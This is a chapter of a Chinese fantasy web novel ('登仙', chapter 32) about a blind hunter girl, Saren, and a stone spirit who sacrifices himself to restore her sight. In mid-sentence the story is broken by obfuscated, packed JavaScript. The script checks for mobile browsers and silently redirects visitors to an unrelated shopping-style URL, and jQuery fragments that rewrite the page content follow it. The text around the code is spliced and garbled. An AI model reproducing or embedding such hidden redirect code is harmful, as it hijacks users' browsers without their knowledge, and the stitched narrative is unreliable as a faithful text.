32.日月
作品:《登仙》 匪盗纷纷回神,这才注意到石怪那古怪的眸光,不禁动摇,“你们看它的眼睛……难道就是……”
“……倒是说得通,这小妮子这么大点儿,她能知道什么?”
“石怪集钟山灵粹。钟山在,石怪便永存,烛龙之眼不在它这儿,还能在哪?!”
“对啊!捉住石怪!剜掉眼睛,管它是与不是,到时自见分晓!”
首领之子抬手止住手下吵嚷,双指捏在嘴边,哨声一响,原本散漫的幽城人立刻变换阵型,灵气聚顶化作刀枪不入的罩子。站在中心的首领之子手腕一转,灵气化刃,双眼紧盯乌日动向,对着脑后的外族说道,“不想死在钟山,就别耍滑头!”
萨仁不知道这短短一瞬究竟发生了什么,却听得懂幽城猎人间交流的哨音,面色陡变得万分惨然。
郁青在不远处瞧得清楚,如今几个匪盗的注意力尽都落在石怪身上,没人防备一介盲女的动向,萨仁的手已经缓缓摸向了自己的靴筒,似要做些什么。
“好”,外族脚底狂风乍起,“先活捉了这怪物——”
话音未落,他小腿一酸,不可置信地低头看去,只见那个弱不禁风小瞎子伏在他脚下,手中短刃深没进他的腿肉,鲜血沿着她的手臂滴落,滑进她灰白的眼瞳中,看起来甚是可怖。
与此同时,那石怪也暴喝一声,双拳擂地,引动山石震波直推滚到山顶,将匪盗们掀得东倒西歪。
外族反应过来,不顾腿上疼痛强自稳住身形,试图拿住石怪软肋威胁,弯下腰向萨仁手腕一把捉去。
毫厘之际,一道影子闪过来,“嘭”地撞开他的手臂。电光石火间,眼前一花,被地动晃摇的众人惊叫着挤作一团,已是遍寻不见盲女踪迹。那石怪没了挂碍,身形再度暴涨数倍,乍看起来,竟像又一座小峰,向勉力支撑的匪盗轰然袭来。
外族见形势不对,念诀唤出法宝,金光将山顶映照得恍如置身耀阳之中,浑茫一片。
郁青带着背上的萨仁纵身一跃,从金光中脱身。尚未脱险,郁青丝毫不敢耽搁,顶着风雪中狂奔,直至越过灰耗子峡来到幽暝二城的黑河边界,原本环抱着脖颈的双臂一松,“哐当”一声,萨仁滚落鹿身栽倒在地。
郁青慌忙去看萨仁状况,只见她双目流血,全身创口细密数也不尽,幸而一息尚存,只要早日下山寻得巫医救治,至少性命无虞。
确认无事,郁青方才感到自己短簇的尾毛热烫不已,后知后觉是那外族的法宝金光灼人,若是稍跑慢一步,怕是要被焚烧殆尽。
……那生着萨仁模样的人将她化身为鹿,所见尽是千年前的北地旧事,她初到钟山在地牢中故意套话,才听幽城看守偶然提及,外界从未听闻甚么传言。
她本以为不过是幽暝城人觊觎烛龙之眼,不甘守在山外,这才捏造谎言,说是外人犯了钟山的禁忌,烛龙降下神罚,才将进山之人尽数湮灭其中。可如今看来,匪盗乃是里外勾结、阴图不轨,而那伙外族匪盗的身份,如若她未曾听错,手下似乎唤他……仙总。
自仙阙创立至今,一直由十二位灵气高强的修士担任“仙总”,再依战功择出其中最为德高望重的一位作为“仙首”执掌仙阙,统领天下修士。十二仙总位高权重,不会轻易出山,出山必有名,有名便有记载,只是她幼时常常犯错被师父罚在藏书阁,那些年看遍了阁中书籍纪录,却不知道千年前仙阙曾差人来过北地,还闹出这样大的动静。
昏迷中的萨仁眉头紧皱,不知被何等恐怖的景象魇住了,手指深没入雪中,无力地抓挠着冻土。
郁青不忍她伤上加伤,用身体环住萨仁,将她包裹在林鹿冬季的厚毛中。
天光已然暗了下来,唯独山顶一片光亮,似是夜晚的明烛。大地深处酝酿着巨大的势能,无人知晓爆发的一刻究竟会带来怎样毁天灭地的后果。
钟山还未冬眠的生灵忘记了猎人的箭矢和利刃,不顾一切地向山下涌去;惶惑不安的人们却顾不上唾手可得的猎物,缩在帐子里祈祷一觉睡醒,钟山恢复如初;城主沉默地看着巫祝在篝火前狂乱的舞动,试图沟通天意得到神灵的宽宥。
一人一鹿,在风雪中紧紧依偎,与北地的人们一起等待天明。
这夜不比平时更长,也不更短,只是见不到月亮和星星。
风暴中心反而静寂,萨仁呼吸逐渐平稳,无声地张着嘴巴,瞧着口型似乎在喊阿妈。
郁青的意识也被永无休止的寒冷慢慢蚕食,她感到自己的灵魂离鹿身越来越远,飘到空中,俯视着仍有余温的躯体。
风雪不知何时突然停止了,山顶的光亮也熄灭了,取而代之的是一轮新日。
身形巨大的石怪托着沉重的脚步一步一步向死去的林鹿靠近,他哐当一声跪倒在地,小心地展开林鹿已经僵硬的躯体,露出其中蜷成一团的盲女。
他颤抖着伸出手指,抚上盲女的脖颈,在感受到那细微却规律的跳动后,喉咙一哽,吐出声破碎的呼唤:“萨仁……”
萨仁无知无觉,在黑甜乡中睡得安然。
石怪托着萨仁,小山一样的身形委顿成常人大小,将她拥得更紧。草木枝叶化成乌黑的毛发,石头雕刻的面孔也逐渐柔软,生出人一般神情。
太阳越升越高,照进层叠的密林,倾斜着洒在身上。
石怪的身体像草叶上的露珠一样,在日光照射下渐而透明。日光愈盛,双眸中的光亮就愈是黯淡。他察觉到什么,闭上双眼,与萨仁额头相抵。
他们呼出的白雾纠缠在一起,氤氲成一团幻梦。
梦中萨仁回到了阿妈尚在的小时候,阿妈教她弯弓射箭,教她短刃防身,教她辨识山林与野兽的信号,成为一位合格的猎人;乌日仍是山中一抔土、一块石、一棵树,松柏银装,春风拂面,鸟鸣蝉噪,落木萧萧,四季轮转,他静谧地与钟山其他生灵一起共度了万载冬夏春秋。
如果他不曾被赋予灵智,那他就不会担负责任,若身无责任,就不必巡山赶人,若不曾驱逐人下山,那进山寻弟的无辜女孩就不会被他误伤,失去双眼。
她不曾失去双眼,便不会被阿爸随意婚嫁,竟生了在山深处了结性命之心。
若是如此……他们也许永不会相见,萨仁会成为北地的战士,而他就是她脚下的土、取水的溪、沿途休憩依靠的树。
萨仁讲过,她的名字在幽城人的古语里是月亮的意思,她把石怪支吾的回答听成了乌日,以为乌日是太阳的意思。太阳和月亮,是一对儿有缘的好伙伴。
乌日的记忆有些模糊了……他依稀记得万年前,也就是被现在的人们叫作
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078827|191361||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上古的时候,烛龙还在世间。它睁开眼,太阳就会升起;阖起眼,月亮就会高悬。
日月此消彼长,一天中仅有晨昏交界的片刻在空中遥遥相望,这样日夜更迭,四时有序,年复一年。
世人总将日月相提并论,却常常忘记它们本属两端。何况,不过是仙人偶然点化的顽石,哪里能成为太阳?
萨仁啊,你的生命还有很长很长,真正的太阳会照在你的身上,给你光亮。
***
一阵风吹落树梢上的雪,淋了女孩满头。
萨仁被鼻尖上的凉意惊醒,打了一个响亮的喷嚏,蓦地睁开双眼——
阳光直刺进眼底,萨仁抬起手挡住了雪后晴朗的日光。等到眼前泛起的光斑慢慢消失,她突然意识到什么,浑身一震。
“我……我看得见了?!”
萨仁不可置信地惊叫出声,跌跌撞撞地搬开围在自己身边的几块怪石,撑着树干颤巍巍的站起身,“我的眼睛,我的眼睛好了!”
她四处张望,近乎贪婪地张望着霜雪枯枝山石,想要将钟山的一切尽收眼底。泪珠从干涩的眼眶中滚滚流下,萨仁却不舍得闭眼,她迎着光在雪地上奔跑,留下一串雀跃的脚印,“阿妈!是你吗?是你让我的眼睛好起来的吗……”
她不顾一切地飞奔下山,迎面撞见了幽城派来探查情况的猎人。
猎人们警惕地举着弓箭,难以置信一个弱小的女孩儿在钟山昨夜的震荡中活了下来,他们严阵以待,警告她停下来,不要轻举妄动。
队伍最末的猎人却在女孩出声的瞬间拨开众人,冲到前头,惊愕地与女孩相对而站,“萨仁?!”
“……阿爸?”
幽城猎人们将失而复得的萨仁带下山,没有人知道失踪的大半年她去了哪里,又是怎样活过了天崩地裂的那一夜……包括萨仁自己。
萨仁只记得自己为逃婚躲进山中,万念俱灰地昏睡一夜,醒来时眼睛便好了。至于春天如何变成冬天,身上的厚氅从何而来,全都一概不知。唯一让她难过的就是阿妈的遗物,那柄趁手的短刃遗落在什么地方,找不见了。
怪的是,那一夜分明就是灭世的阵仗,山脚下的幽暝二城却毫发无损,山中的野兽也不见减少,唯独几个当日进山的猎人没出来,其中就有幽城城主的儿子。但城主表面上不见哀色,甚至没有派人到山里寻过尸体,反而将此事压了下来,绝口不提。
除此之外,就是分割幽暝两城的那条黑水,不知道为什么,变得比以前更黑了。一开始是所有想要架通河岸的桥梁都会被黑水侵蚀,后来人、兽,哪怕是箭矢和灵气都不能从河上穿越。幽暝城主各据一词,都说是对方不守规矩,才受此惩罚。
不过这些都与萨仁无关,距离她年幼时的奇遇已经过去五、六年了。她现在是幽城最优秀的猎人,她喜欢上了瞑城的手艺最好的武器匠人,今天是他们成婚的日子。
虽然两城关系每况愈下,但总也管不着相恋的爱人。
萨仁转头,温柔地注视着自己选定的男子,他的轮廓在月光笼罩下变得朦胧,“我能遇见你,看到你,真好。”
萨仁感到无比幸福,笑着笑着,嘴里忽然尝到一股咸涩。
她怔怔地抬手。
是她的眼睛流泪了。

